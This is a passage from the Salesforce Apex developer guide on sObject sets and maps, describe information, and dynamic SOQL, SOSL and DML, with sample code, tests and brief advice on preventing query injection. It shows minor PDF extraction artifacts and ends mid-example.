Sets contain unique elements. Uniqueness of sObjects is determined by comparing the objects’ fields. For example, if you try
to add two accounts with the same name to a set, with no other fields set, only one sObject is added to the set.
// Create two accounts, a1 and a2
Account a1 = new account(name='MyAccount');
Account a2 = new account(name='MyAccount');
// Add both accounts to the new set
Set<Account> accountSet = new Set<Account>{a1, a2};
// Verify that the set only contains one item
System.assertEquals(accountSet.size(), 1);

If you add a description to one of the accounts, it is considered unique and both accounts are added to the set.
// Create two accounts, a1 and a2, and add a description to a2
Account a1 = new account(name='MyAccount');
Account a2 = new account(name='MyAccount', description='My test account');
// Add both accounts to the new set
Set<Account> accountSet = new Set<Account>{a1, a2};
// Verify that the set contains two items
System.assertEquals(accountSet.size(), 2);

Warning: If set elements are objects, and these objects change after being added to the collection, they won’t be
found anymore when using, for example, the contains or containsAll methods, because of changed field values.

Maps of sObjects
Map keys and values can be of any data type, including sObject types, such as Account.
Maps can hold sObjects both in their keys and values. A map key represents a unique value that maps to a map value. For
example, a common key would be an ID that maps to an account (a specific sObject type). This example shows how to define
a map whose keys are of type ID and whose values are of type Account.
Map<ID, Account> m = new Map<ID, Account>();

As with primitive types, you can populate map key-value pairs when the map is declared by using curly brace ({}) syntax.
Within the curly braces, specify the key first, then specify the value for that key using =>. This example creates a map of
integers to accounts lists and adds one entry using the account list created earlier.
Account[] accs = new Account[5]; // Account[] is synonymous with List<Account>
Map<Integer, List<Account>> m4 = new Map<Integer, List<Account>>{1 => accs};

Maps allow sObjects in their keys. You should use sObjects in the keys only when the sObject field values won’t change.
Auto-Populating Map Entries from a SOQL Query
When working with SOQL queries, maps can be populated from the results returned by the SOQL query. The map key
should be declared with an ID or String data type, and the map value should be declared as an sObject data type.
This example shows how to populate a new map from a query. In the example, the SOQL query returns a list of accounts
with their Id and Name fields. The new operator uses the returned list of accounts to create a map.
// Populate map from SOQL query
Map<ID, Account> m = new Map<ID, Account>([SELECT Id, Name FROM Account LIMIT 10]);
// After populating the map, iterate through the map entries

143
Working with Data in Apex

Maps of sObjects

for (ID idKey : m.keyset()) {
Account a = m.get(idKey);
System.debug(a);
}

One common usage of this map type is for in-memory “joins” between two tables.
Using Map Methods
The Map class exposes various methods that you can use to work with map elements, such as adding, removing, or retrieving
elements. This example uses Map methods to add new elements and retrieve existing elements from the map. This example
also checks for the existence of a key and gets the set of all keys. The map in this example has one element with an integer key
and an account value.
Account myAcct = new Account();
//Define a new account
Map<Integer, Account> m = new Map<Integer, Account>(); // Define a new map
m.put(1, myAcct);
// Insert a new key-value pair in the map
System.assert(!m.containsKey(3)); // Assert that the map contains a key
Account a = m.get(1);
// Retrieve a value, given a particular key
Set<Integer> s = m.keySet();
// Return a set that contains all of the keys in the map

sObject Map Considerations
Be cautious when using sObjects as map keys. Key matching for sObjects is based on the comparison of all sObject field values.
If one or more field values change after adding an sObject to the map, attempting to retrieve this sObject from the map returns
null. This is because the modified sObject isn’t found in the map due to different field values. This can occur if you explicitly
change a field on the sObject, or if the sObject fields are implicitly changed by the system; for example, after inserting an
sObject, the sObject variable has the ID field autofilled. Attempting to fetch this Object from a map to which it was added
before the insert operation won’t yield the map entry, as shown in this example.
// Create an account and add it to the map
Account a1 = new Account(Name='A1');
Map<sObject, Integer> m = new Map<sObject, Integer>{
a1 => 1};
// Get a1's value from the map.
// Returns the value of 1.
System.assertEquals(1, m.get(a1));
// Id field is null.
System.assertEquals(null, a1.Id);
// Insert a1.
// This causes the ID field on a1 to be auto-filled
insert a1;
// Id field is now populated.
System.assertNotEquals(null, a1.Id);
// Get a1's value from the map again.
// Returns null because Map.get(sObject) doesn't find
// the entry based on the sObject with an auto-filled ID.
// This is because when a1 was originally added to the map
// before the insert operation, the ID of a1 was null.
System.assertEquals(null, m.get(a1));

Another scenario where sObject fields are autofilled is in triggers, for example, when using before and after insert triggers for
an sObject. If those triggers share a static map defined in a class, and the sObjects in Trigger.New are added to this map in
the before trigger, the sObjects in Trigger.New in the after trigger aren’t found in the map because the two sets of sObjects
differ by the fields that are autofilled. The sObjects in Trigger.New in the after trigger have system fields populated after
insertion, namely: ID, CreatedDate, CreatedById, LastModifiedDate, LastModifiedById, and SystemModStamp.

144
Working with Data in Apex

Dynamic Apex

Dynamic Apex
Dynamic Apex enables developers to create more flexible applications by providing them with the ability to:
•

Access sObject and field describe information
Describe information provides metadata information about sObject and field properties. For example, the describe information
for an sObject includes whether that type of sObject supports operations like create or undelete, the sObject's name and
label, the sObject's fields and child objects, and so on. The describe information for a field includes whether the field has
a default value, whether it is a calculated field, the type of the field, and so on.
Note that describe information provides information about objects in an organization, not individual records.

•

Access Salesforce app information
You can obtain describe information for standard and custom apps available in the Salesforce user interface. Each app
corresponds to a collection of tabs. Describe information for an app includes the app’s label, namespace, and tabs. Describe
information for a tab includes the sObject associated with the tab, tab icons and colors.

•

Write dynamic SOQL queries, dynamic SOSL queries and dynamic DML
Dynamic SOQL and SOSL queries provide the ability to execute SOQL or SOSL as a string at runtime, while dynamic
DML provides the ability to create a record dynamically and then insert it into the database using DML. Using dynamic
SOQL, SOSL, and DML, an application can be tailored precisely to the organization as well as the user's permissions.
This can be useful for applications that are installed from Force.com AppExchange.

Understanding Apex Describe Information
You can describe sObjects either by using tokens or the describeSObjects Schema method.
Apex provides two data structures and a method for sObject and field describe information:
•
•
•

Token—a lightweight, serializable reference to an sObject or a field that is validated at compile time. This is used for token
describes.
The describeSObjects method—a method in the Schema class that performs describes on one or more sObject types.
Describe result—an object of type Schema.DescribeSObjectResult that contains all the describe properties for the
sObject or field. Describe result objects are not serializable, and are validated at runtime. This result object is returned
when performing the describe, using either the sObject token or the describeSObjects method.

Describing sObjects Using Tokens
It is easy to move from a token to its describe result, and vice versa. Both sObject and field tokens have the method
getDescribe which returns the describe result for that token. On the describe result, the getSObjectType and
getSObjectField methods return the tokens for sObject and field, respectively.
Because tokens are lightweight, using them can make your code faster and more efficient. For example, use the token version
of an sObject or field when you are determining the type of an sObject or field that your code needs to use. The token can be
compared using the equality operator (==) to determine whether an sObject is the Account object, for example, or whether a
field is the Name field or a custom calculated field.
The following code provides a general example of how to use tokens and describe results to access information about sObject
and field properties:
// Create a new account as the generic type sObject
sObject s = new Account();
// Verify that the generic sObject is an Account sObject

145
Working with Data in Apex

Understanding Apex Describe Information

System.assert(s.getsObjectType() == Account.sObjectType);
// Get the sObject describe result for the Account object
Schema.DescribeSObjectResult r = Account.sObjectType.getDescribe();
// Get the field describe result for the Name field on the Account object
Schema.DescribeFieldResult f = Schema.sObjectType.Account.fields.Name;
// Verify that the field token is the token for the Name field on an Account object
System.assert(f.getSObjectField() == Account.Name);
// Get the field describe result from the token
f = f.getSObjectField().getDescribe();

The following algorithm shows how you can work with describe information in Apex:
1.
2.
3.
4.
5.

Generate a list or map of tokens for the sObjects in your organization (see Accessing All sObjects.)
Determine the sObject you need to access.
Generate the describe result for the sObject.
If necessary, generate a map of field tokens for the sObject (see Accessing All Field Describe Results for an sObject.)
Generate the describe result for the field the code needs to access.

Using sObject Tokens
SObjects, such as Account and MyCustomObject__c, act as static classes with special static methods and member variables
for accessing token and describe result information. You must explicitly reference an sObject and field name at compile time
to gain access to the describe result.
To access the token for an sObject, use one of the following methods:
•
•

Access the sObjectType member variable on an sObject type, such as Account.
Call the getSObjectType method on an sObject describe result, an sObject variable, a list, or a map.

Schema.SObjectType is the data type for an sObject token.

In the following example, the token for the Account sObject is returned:
Schema.sObjectType t = Account.sObjectType;

The following also returns a token for the Account sObject:
Account A = new Account();
Schema.sObjectType T = A.getSObjectType();

This example can be used to determine whether an sObject or a list of sObjects is of a particular type:
public class sObjectTest {
{
// Create a generic sObject variable s
SObject s = Database.query('SELECT Id FROM Account LIMIT 1');
// Verify if that sObject variable is an Account token
System.assertEquals(s.getSObjectType(), Account.sObjectType);
// Create a list of generic sObjects
List<sObject> l = new Account[]{};
// Verify if the list of sObjects contains Account tokens
System.assertEquals(l.getSObjectType(), Account.sObjectType);
}
}

146
Working with Data in Apex

Using Field Tokens

Some standard sObjects have a field called sObjectType, for example, AssignmentRule, QueueSObject, and RecordType.
For these types of sObjects, always use the getSObjectType method for retrieving the token. If you use the property, for
example, RecordType.sObjectType, the field is returned.
Obtaining sObject Describe Results Using Tokens
To access the describe result for an sObject, use one of the following methods:
•
•

Call the getDescribe method on an sObject token.
Use the Schema sObjectType static variable with the name of the sObject. For example, Schema.sObjectType.Lead.

Schema.DescribeSObjectResult is the data type for an sObject describe result.

The following example uses the getDescribe method on an sObject token:
Schema.DescribeSObjectResult D = Account.sObjectType.getDescribe();

The following example uses the Schema sObjectType static member variable:
Schema.DescribeSObjectResult D = Schema.SObjectType.Account;

For more information about the methods available with the sObject describe result, see DescribeSObjectResult Class.

Using Field Tokens
To access the token for a field, use one of the following methods:
•
•

Access the static member variable name of an sObject static type, for example, Account.Name.
Call the getSObjectField method on a field describe result.

The field token uses the data type Schema.SObjectField.
In the following example, the field token is returned for the Account object's AccountNumber field:
Schema.SObjectField F = Account.AccountNumber;

In the following example, the field token is returned from the field describe result:
// Get the describe result for the Name field on the Account object
Schema.DescribeFieldResult f = Schema.sObjectType.Account.fields.Name;
// Verify that the field token is the token for the Name field on an Account object
System.assert(f.getSObjectField() == Account.Name);
// Get the describe result from the token
f = f.getSObjectField().getDescribe();

Using Field Describe Results
To access the describe result for a field, use one of the following methods:
•
•

Call the getDescribe method on a field token.
Access the fields member variable of an sObject token with a field member variable (such as Name, BillingCity, and
so on.)

The field describe result uses the data type Schema.DescribeFieldResult.
The following example uses the getDescribe method:
Schema.DescribeFieldResult F = Account.AccountNumber.getDescribe();

147
Working with Data in Apex

Understanding Describe Information Permissions

This example uses the fields member variable method:
Schema.DescribeFieldResult F = Schema.SObjectType.Account.fields.Name;

In the example above, the system uses special parsing to validate that the final member variable (Name) is valid for the specified
sObject at compile time. When the parser finds the fields member variable, it looks backwards to find the name of the
sObject (Account) and validates that the field name following the fields member variable is legitimate. The fields
member variable only works when used in this manner.
You can only have 100 fields member variable statements in an Apex class or trigger.
Note: You should not use the fields member variable without also using either a field member variable name or
the getMap method. For more information on getMap, see the next section.
For more information about the methods available with a field describe result, see DescribeFieldResult Class.
Accessing All Field Describe Results for an sObject
Use the field describe result's getMap method to return a map that represents the relationship between all the field names
(keys) and the field tokens (values) for an sObject.
The following example generates a map that can be used to access a field by name:
Map<String, Schema.SObjectField> M = Schema.SObjectType.Account.fields.getMap();

Note: The value type of this map is not a field describe result. Using the describe results would take too many system
resources. Instead, it is a map of tokens that you can use to find the appropriate field. After you determine the field,
generate the describe result for it.
The map has the following characteristics:
•
•
•
•

It is dynamic, that is, it is generated at runtime on the fields for that sObject.
All field names are case insensitive.
The keys use namespaces as required.
The keys reflect whether the field is a custom object.

For example, if the code block that generates the map is in namespace N1, and a field is also in N1, the key in the map is
represented as MyField__c. However, if the code block is in namespace N1, and the field is in namespace N2, the key is
N2__MyField__c.
In addition, standard fields have no namespace prefix.
Note: A field describe executed from within an installed managed package returns Chatter fields even if Chatter is
not enabled in the installing organization. This is not true if the field describe is executed from a class not within an
installed managed package.

Understanding Describe Information Permissions
Apex generally runs in system mode. All classes and triggers that are not included in a package, that is, are native to your
organization, have no restrictions on the sObjects that they can look up dynamically. This means that with native code, you
can generate a map of all the sObjects for your organization, regardless of the current user's permission.
Dynamic Apex, contained in managed packages created by salesforce.com ISV partners that are installed from Force.com
AppExchange, have restricted access to any sObject outside the managed package. Partners can set the API Access value
within the package to grant access to standard sObjects not included as part of the managed package. While Partners can

148
Working with Data in Apex

Describing sObjects Using Schema Method

request access to standard objects, custom objects are not included as part of the managed package and can never be referenced
or accessed by dynamic Apex that is packaged.
For more information, see “About API and Dynamic Apex Access in Packages” in the Salesforce online help.

Describing sObjects Using Schema Method
As an alternative to using tokens, you can describe sObjects by calling the describeSObjects Schema method and passing
one or more sObject type names for the sObjects you want to describe. Using this method, you can describe up to 100 sObjects.
This example gets describe metadata information for two sObject types—The Account standard object and the Merchandise__c
custom object. After obtaining the describe result for each sObject, this example writes the returned information to the debug
output, such as the sObject label, number of fields, whether it is a custom object or not, and the number of child relationships.
// sObject types to describe
String[] types = new String[]{'Account','Merchandise__c'};
// Make the describe call
Schema.DescribeSobjectResult[] results = Schema.describeSObjects(types);
System.debug('Got describe information for ' + results.size() + ' sObjects.');
// For each returned result, get some info
for(Schema.DescribeSobjectResult res : results) {
System.debug('sObject Label: ' + res.getLabel());
System.debug('Number of fields: ' + res.fields.getMap().size());
System.debug(res.isCustom() ? 'This is a custom object.' : 'This is a standard object.');
// Get child relationships
Schema.ChildRelationship[] rels = res.getChildRelationships();
if (rels.size() > 0) {
System.debug(res.getName() + ' has ' + rels.size() + ' child relationships.');
}
}

Describing Tabs Using Schema Methods
You can get metadata information about the apps and their tabs available in the Salesforce user interface by executing a describe
call in Apex. Also, you can get more detailed information about each tab. The methods that let you perform this are the
describeTabs Schema method and the getTabs method in Schema.DescribeTabResult, respectively.
This example shows how to get the tab sets for each app. The example then obtains tab describe metadata information for the
Sales app. For each tab, metadata information includes the icon URL, whether the tab is custom or not, and colors among
others. The tab describe information is written to the debug output.
// Get tab set describes for each app
List<Schema.DescribeTabSetResult> tabSetDesc = Schema.describeTabs();
// Iterate through each tab set describe for each app and display the info
for(DescribeTabSetResult tsr : tabSetDesc) {
String appLabel = tsr.getLabel();
System.debug('Label: ' + appLabel);
System.debug('Logo URL: ' + tsr.getLogoUrl());
System.debug('isSelected: ' + tsr.isSelected());
String ns = tsr.getNamespace();
if (ns == '') {
System.debug('The ' + appLabel + ' app has no namespace defined.');
}
else {
System.debug('Namespace: ' + ns);
}

149
Working with Data in Apex

Accessing All sObjects

// Display tab info for the Sales app
if (appLabel == 'Sales') {
List<Schema.DescribeTabResult> tabDesc = tsr.getTabs();
System.debug('-- Tab information for the Sales app --');
for(Schema.DescribeTabResult tr : tabDesc) {
System.debug('getLabel: ' + tr.getLabel());
System.debug('getColors: ' + tr.getColors());
System.debug('getIconUrl: ' + tr.getIconUrl());
System.debug('getIcons: ' + tr.getIcons());
System.debug('getMiniIconUrl: ' + tr.getMiniIconUrl());
System.debug('getSobjectName: ' + tr.getSobjectName());
System.debug('getUrl: ' + tr.getUrl());
System.debug('isCustom: ' + tr.isCustom());
}
}
}
// Example debug statement output
// DEBUG|Label: Sales
// DEBUG|Logo URL: https://na1.salesforce.com/img/seasonLogos/2014_winter_aloha.png
// DEBUG|isSelected: true
// DEBUG|The Sales app has no namespace defined.// DEBUG|-- Tab information for the Sales
app -// (This is an example debug output for the Accounts tab.)
// DEBUG|getLabel: Accounts
// DEBUG|getColors:
(Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme4;],
//
Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme3;],
//
Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme2;])
// DEBUG|getIconUrl: https://na1.salesforce.com/img/icon/accounts32.png
// DEBUG|getIcons:
(Schema.DescribeIconResult[getContentType=image/png;getHeight=32;getTheme=theme3;
//
getUrl=https://na1.salesforce.com/img/icon/accounts32.png;getWidth=32;],
//
Schema.DescribeIconResult[getContentType=image/png;getHeight=16;getTheme=theme3;
//
getUrl=https://na1.salesforce.com/img/icon/accounts16.png;getWidth=16;])
// DEBUG|getMiniIconUrl: https://na1.salesforce.com/img/icon/accounts16.png
// DEBUG|getSobjectName: Account
// DEBUG|getUrl: https://na1.salesforce.com/001/o
// DEBUG|isCustom: false

Accessing All sObjects
Use the Schema getGlobalDescribe method to return a map that represents the relationship between all sObject names
(keys) to sObject tokens (values). For example:
Map<String, Schema.SObjectType> gd = Schema.getGlobalDescribe();

The map has the following characteristics:
•
•
•
•

It is dynamic, that is, it is generated at runtime on the sObjects currently available for the organization, based on permissions.
The sObject names are case insensitive.
The keys are prefixed with the namespace, if any.*
The keys reflect whether the sObject is a custom object.

*

Starting with Apex saved using Salesforce.com API version 28.0, the keys in the map that getGlobalDescribe returns
are always prefixed with the namespace, if any, of the code in which it is running. For example, if the code block that makes
the getGlobalDescribe call is in namespace NS1, and a custom object named MyObject__c is in the same namespace,
the key returned is NS1__MyObject__c. For Apex saved using earlier API versions, the key contains the namespace only if
the namespace of the code block and the namespace of the sObject are different. For example, if the code block that generates
the map is in namespace N1, and an sObject is also in N1, the key in the map is represented as MyObject__c. However, if
the code block is in namespace N1, and the sObject is in namespace N2, the key is N2__MyObject__c.

150
Working with Data in Apex

Accessing All Data Categories Associated with an sObject

Standard sObjects have no namespace prefix.
Note: If the getGlobalDescribe method is called from an installed managed package, it returns sObject names
and tokens for Chatter sObjects, such as NewsFeed and UserProfileFeed, even if Chatter is not enabled in the installing
organization. This is not true if the getGlobalDescribe method is called from a class not within an installed
managed package.

Accessing All Data Categories Associated with an sObject
Use the describeDataCategoryGroups and describeDataCategoryGroupStructures methods to return the
categories associated with a specific object:
1. Return all the category groups associated with the objects of your choice (see describeDataCategoryGroups(List<String>)).
2. From the returned map, get the category group name and sObject name you want to further interrogate (see Describe
DataCategoryGroupResult Class).
3. Specify the category group and associated object, then retrieve the categories available to this object (see
describeDataCategoryGroupStructures).
The describeDataCategoryGroupStructures method returns the categories available for the object in the category
group you specified. For additional information about data categories, see “What are Data Categories?” in the Salesforce online
help.
In the following example, the describeDataCategoryGroupSample method returns all the category groups associated
with the Article and Question objects. The describeDataCategoryGroupStructures method returns all the categories
available for articles and questions in the Regions category group. For additional information about articles and questions, see
“Managing Articles and Translations” and “Answers Overview” in the Salesforce online help.
To use the following example, you must:
•
•
•
•
•

Enable Salesforce Knowledge.
Enable the answers feature.
Create a data category group called Regions.
Assign Regions as the data category group to be used by Answers.
Make sure the Regions data category group is assigned to Salesforce Knowledge.

For more information on creating data category groups, see “Creating and Modifying Category Groups” in the Salesforce
online help. For more information on answers, see “Answers Overview” in the Salesforce online help.

public class DescribeDataCategoryGroupSample {
public static List<DescribeDataCategoryGroupResult> describeDataCategoryGroupSample(){
List<DescribeDataCategoryGroupResult> describeCategoryResult;
try {
//Creating the list of sobjects to use for the describe
//call
List<String> objType = new List<String>();
objType.add('KnowledgeArticleVersion');
objType.add('Question');
//Describe Call
describeCategoryResult = Schema.describeDataCategoryGroups(objType);
//Using the results and retrieving the information
for(DescribeDataCategoryGroupResult singleResult : describeCategoryResult){
//Getting the name of the category
singleResult.getName();

151
Working with Data in Apex

Accessing All Data Categories Associated with an sObject

//Getting the name of label
singleResult.getLabel();
//Getting description
singleResult.getDescription();
//Getting the sobject
singleResult.getSobject();
}
} catch(Exception e){
}
return describeCategoryResult;
}
}

public class DescribeDataCategoryGroupStructures {
public static List<DescribeDataCategoryGroupStructureResult>
getDescribeDataCategoryGroupStructureResults(){
List<DescribeDataCategoryGroupResult> describeCategoryResult;
List<DescribeDataCategoryGroupStructureResult> describeCategoryStructureResult;
try {
//Making the call to the describeDataCategoryGroups to
//get the list of category groups associated
List<String> objType = new List<String>();
objType.add('KnowledgeArticleVersion');
objType.add('Question');
describeCategoryResult = Schema.describeDataCategoryGroups(objType);
//Creating a list of pair objects to use as a parameter
//for the describe call
List<DataCategoryGroupSobjectTypePair> pairs =
new List<DataCategoryGroupSobjectTypePair>();
//Looping throught the first describe result to create
//the list of pairs for the second describe call
for(DescribeDataCategoryGroupResult singleResult :
describeCategoryResult){
DataCategoryGroupSobjectTypePair p =
new DataCategoryGroupSobjectTypePair();
p.setSobject(singleResult.getSobject());
p.setDataCategoryGroupName(singleResult.getName());
pairs.add(p);
}
//describeDataCategoryGroupStructures()
describeCategoryStructureResult =
Schema.describeDataCategoryGroupStructures(pairs, false);
//Getting data from the result
for(DescribeDataCategoryGroupStructureResult singleResult :
describeCategoryStructureResult){
//Get name of the associated Sobject
singleResult.getSobject();
//Get the name of the data category group
singleResult.getName();
//Get the name of the data category group
singleResult.getLabel();
//Get the description of the data category group
singleResult.getDescription();
//Get the top level categories
DataCategory [] toplevelCategories =
singleResult.getTopCategories();

152
Working with Data in Apex

Accessing All Data Categories Associated with an sObject

//Recursively get all the categories
List<DataCategory> allCategories =
getAllCategories(toplevelCategories);
for(DataCategory category : allCategories) {
//Get the name of the category
category.getName();
//Get the label of the category
category.getLabel();
//Get the list of sub categories in the category
DataCategory [] childCategories =
category.getChildCategories();
}
}
} catch (Exception e){
}
return describeCategoryStructureResult;
}
private static DataCategory[] getAllCategories(DataCategory [] categories){
if(categories.isEmpty()){
return new DataCategory[]{};
} else {
DataCategory [] categoriesClone = categories.clone();
DataCategory category = categoriesClone[0];
DataCategory[] allCategories = new DataCategory[]{category};
categoriesClone.remove(0);
categoriesClone.addAll(category.getChildCategories());
allCategories.addAll(getAllCategories(categoriesClone));
return allCategories;
}
}
}

Testing Access to All Data Categories Associated with an sObject
The following example tests the describeDataCategoryGroupSample method shown earlier. It ensures that the returned
category group and associated objects are correct.
@isTest
private class DescribeDataCategoryGroupSampleTest {
public static testMethod void describeDataCategoryGroupSampleTest(){
List<DescribeDataCategoryGroupResult>describeResult =
DescribeDataCategoryGroupSample.describeDataCategoryGroupSample();
//Assuming that you have KnowledgeArticleVersion and Questions
//associated with only one category group 'Regions'.
System.assert(describeResult.size() == 2,
'The results should only contain two results: ' + describeResult.size());
for(DescribeDataCategoryGroupResult result : describeResult) {
//Storing the results
String name = result.getName();
String label = result.getLabel();
String description = result.getDescription();
String objectNames = result.getSobject();
//asserting the values to make sure
System.assert(name == 'Regions',
'Incorrect name was returned: ' + name);
System.assert(label == 'Regions of the World',
'Incorrect label was returned: ' + label);
System.assert(description == 'This is the category group for all the regions',
'Incorrect description was returned: ' + description);
System.assert(objectNames.contains('KnowledgeArticleVersion')
|| objectNames.contains('Question'),

153
Working with Data in Apex

Accessing All Data Categories Associated with an sObject

'Incorrect sObject was returned: ' + objectNames);
}
}
}

This example tests the describeDataCategoryGroupStructures method. It ensures that the returned category group,
categories and associated objects are correct.
@isTest
private class DescribeDataCategoryGroupStructuresTest {
public static testMethod void getDescribeDataCategoryGroupStructureResultsTest(){
List<Schema.DescribeDataCategoryGroupStructureResult> describeResult =
DescribeDataCategoryGroupStructures.getDescribeDataCategoryGroupStructureResults();
System.assert(describeResult.size() == 2,
'The results should only contain 2 results: ' + describeResult.size());
//Creating category info
CategoryInfo world = new CategoryInfo('World', 'World');
CategoryInfo asia = new CategoryInfo('Asia', 'Asia');
CategoryInfo northAmerica = new CategoryInfo('NorthAmerica',
'North America');
CategoryInfo southAmerica = new CategoryInfo('SouthAmerica',
'South America');
CategoryInfo europe = new CategoryInfo('Europe', 'Europe');
List<CategoryInfo> info = new CategoryInfo[] {
asia, northAmerica, southAmerica, europe
};
for (Schema.DescribeDataCategoryGroupStructureResult result : describeResult) {
String name = result.getName();
String label = result.getLabel();
String description = result.getDescription();
String objectNames = result.getSobject();
//asserting the values to make sure
System.assert(name == 'Regions',
'Incorrect name was returned: ' + name);
System.assert(label == 'Regions of the World',
'Incorrect label was returned: ' + label);
System.assert(description == 'This is the category group for all the regions',
'Incorrect description was returned: ' + description);
System.assert(objectNames.contains('KnowledgeArticleVersion')
|| objectNames.contains('Question'),
'Incorrect sObject was returned: ' + objectNames);
DataCategory [] topLevelCategories = result.getTopCategories();
System.assert(topLevelCategories.size() == 1,
'Incorrect number of top level categories returned: ' + topLevelCategories.size());
System.assert(topLevelCategories[0].getLabel() == world.getLabel() &&
topLevelCategories[0].getName() == world.getName());
//checking if the correct children are returned
DataCategory [] children = topLevelCategories[0].getChildCategories();
System.assert(children.size() == 4,
'Incorrect number of children returned: ' + children.size());
for(Integer i=0; i < children.size(); i++){
System.assert(children[i].getLabel() == info[i].getLabel() &&
children[i].getName() == info[i].getName());
}
}
}
private class CategoryInfo {
private final String name;

154
Working with Data in Apex

Dynamic SOQL

private final String label;
private CategoryInfo(String n, String l){
this.name = n;
this.label = l;
}
public String getName(){
return this.name;
}
public String getLabel(){
return this.label;
}
}
}

Dynamic SOQL
Dynamic SOQL refers to the creation of a SOQL string at runtime with Apex code. Dynamic SOQL enables you to create
more flexible applications. For example, you can create a search based on input from an end user, or update records with varying
field names.
To create a dynamic SOQL query at runtime, use the database query method, in one of the following ways:
•

Return a single sObject when the query returns a single record:
sObject S = Database.query(string_limit_1);

•

Return a list of sObjects when the query returns more than a single record:
List<sObject> L = Database.query(string);

The database query method can be used wherever an inline SOQL query can be used, such as in regular assignment statements
and for loops. The results are processed in much the same way as static SOQL queries are processed.
Dynamic SOQL results can be specified as concrete sObjects, such as Account or MyCustomObject__c, or as the generic
sObject data type. At runtime, the system validates that the type of the query matches the declared type of the variable. If the
query does not return the correct sObject type, a runtime error is thrown. This means you do not need to cast from a generic
sObject to a concrete sObject.
Dynamic SOQL queries have the same governor limits as static queries. For more information on governor limits, see
Understanding Execution Governors and Limits on page 236.
For a full description of SOQL query syntax, see Salesforce Object Query Language (SOQL) in the Force.com SOQL and
SOSL Reference.
Dynamic SOQL Considerations
You can use simple bind variables in dynamic SOQL query strings. The following is allowed:
String myTestString = 'TestName';
List<sObject> L = Database.query('SELECT Id FROM MyCustomObject__c WHERE Name =
:myTestString');

155
Working with Data in Apex

Dynamic SOSL

However, unlike inline SOQL, dynamic SOQL can’t use bind variable fields in the query string. The following example isn’t
supported and results in a Variable does not exist error:
MyCustomObject__c myVariable = new MyCustomObject__c(field1__c ='TestField');
List<sObject> L = Database.query('SELECT Id FROM MyCustomObject__c WHERE field1__c =
:myVariable.field1__c');

You can instead resolve the variable field into a string and use the string in your dynamic SOQL query:
String resolvedField1 = myVariable.field1__c;
List<sObject> L = Database.query('SELECT Id FROM MyCustomObject__c WHERE field1__c = ' +
resolvedField1);

SOQL Injection
SOQL injection is a technique by which a user causes your application to execute database methods you did not intend by
passing SOQL statements into your code. This can occur in Apex code whenever your application relies on end user input to
construct a dynamic SOQL statement and you do not handle the input properly.
To prevent SOQL injection, use the escapeSingleQuotes method. This method adds the escape character () to all single
quotation marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as
enclosing strings, instead of database commands.

Dynamic SOSL
Dynamic SOSL refers to the creation of a SOSL string at runtime with Apex code. Dynamic SOSL enables you to create more
flexible applications. For example, you can create a search based on input from an end user, or update records with varying
field names.
To create a dynamic SOSL query at runtime, use the search query method. For example:
List<List <sObject>> myQuery = search.query(SOSL_search_string);

The following example exercises a simple SOSL query string.
String searchquery='FIND'Edge*'IN ALL FIELDS RETURNING Account(id,name),Contact, Lead';
List<List<SObject>>searchList=search.query(searchquery);

Dynamic SOSL statements evaluate to a list of lists of sObjects, where each list contains the search results for a particular
sObject type. The result lists are always returned in the same order as they were specified in the dynamic SOSL query. From
the example above, the results from Account are first, then Contact, then Lead.
The search query method can be used wherever an inline SOSL query can be used, such as in regular assignment statements
and for loops. The results are processed in much the same way as static SOSL queries are processed.
Dynamic SOSL queries have the same governor limits as static queries. For more information on governor limits, see
Understanding Execution Governors and Limits on page 236.
For a full description of SOSL query syntax, see Salesforce Object Search Language (SOSL) in the Force.com SOQL and SOSL
Reference.
SOSL Injection
SOSL injection is a technique by which a user causes your application to execute database methods you did not intend by passing
SOSL statements into your code. This can occur in Apex code whenever your application relies on end user input to construct
a dynamic SOSL statement and you do not handle the input properly.

156
Working with Data in Apex

Dynamic DML

To prevent SOSL injection, use the escapeSingleQuotes method. This method adds the escape character () to all single
quotation marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as
enclosing strings, instead of database commands.

Dynamic DML
In addition to querying describe information and building SOQL queries at runtime, you can also create sObjects dynamically,
and insert them into the database using DML.
To create a new sObject of a given type, use the newSObject method on an sObject token. Note that the token must be cast
into a concrete sObject type (such as Account). For example:
// Get a new account
Account A = new Account();
// Get the token for the account
Schema.sObjectType tokenA = A.getSObjectType();
// The following produces an error because the token is a generic sObject, not an Account
// Account B = tokenA.newSObject();
// The following works because the token is cast back into an Account
Account B = (Account)tokenA.newSObject();

Though the sObject token tokenA is a token of Account, it is considered an sObject because it is accessed separately. It must
be cast back into the concrete sObject type Account to use the newSObject method. For more information on casting, see
Classes and Casting on page 86.
You can also specify an ID with newSObject to create an sObject that references an existing record that you can update later.
For example:
SObject s = Database.query('SELECT Id FROM account LIMIT 1')[0].getSObjectType().
newSObject([SELECT Id FROM Account LIMIT 1][0].Id);

See SObjectType Class.
Dynamic sObject Creation Example
This example shows how to obtain the sObject token through the Schema.getGlobalDescribe method and then creates
a new sObject using the newSObject method on the token. This example also contains a test method that verifies the dynamic
creation of an account.
public class DynamicSObjectCreation {
public static sObject createObject(String typeName) {
Schema.SObjectType targetType = Schema.getGlobalDescribe().get(typeName);
if (targetType == null) {
// throw an exception
}
// Instantiate an sObject with the type passed in as an argument
// at run time.
return targetType.newSObject();
}
}
@isTest
private class DynamicSObjectCreationTest {
static testmethod void testObjectCreation() {
String typeName = 'Account';
String acctName = 'Acme';
// Create a new sObject by passing the sObject type as an argument.
Account a = (Account)DynamicSObjectCreation.createObject(typeName);
System.assertEquals(typeName, String.valueOf(a.getSobjectType()));

157
Working with Data in Apex

Dynamic DML

// Set the account name and insert the account.
a.Name = acctName;
insert a;
// Verify the new sObject got inserted.
Account[] b = [SELECT Name from Account WHERE Name = :acctName];
system.assert(b.size() > 0);
}
}

Setting and Retrieving Field Values
Use the get and put methods on an object to set or retrieve values for fields using either the API name of the field expressed
as a String, or the field's token. In the following example, the API name of the field AccountNumber is used:
SObject s = [SELECT AccountNumber FROM Account LIMIT 1];
Object o = s.get('AccountNumber');
s.put('AccountNumber', 'abc');

The following example uses the AccountNumber field's token instead:
Schema.DescribeFieldResult f = Schema.sObjectType.Account.fields.AccountNumber;
Sobject s = Database.query('SELECT AccountNumber FROM Account LIMIT 1');
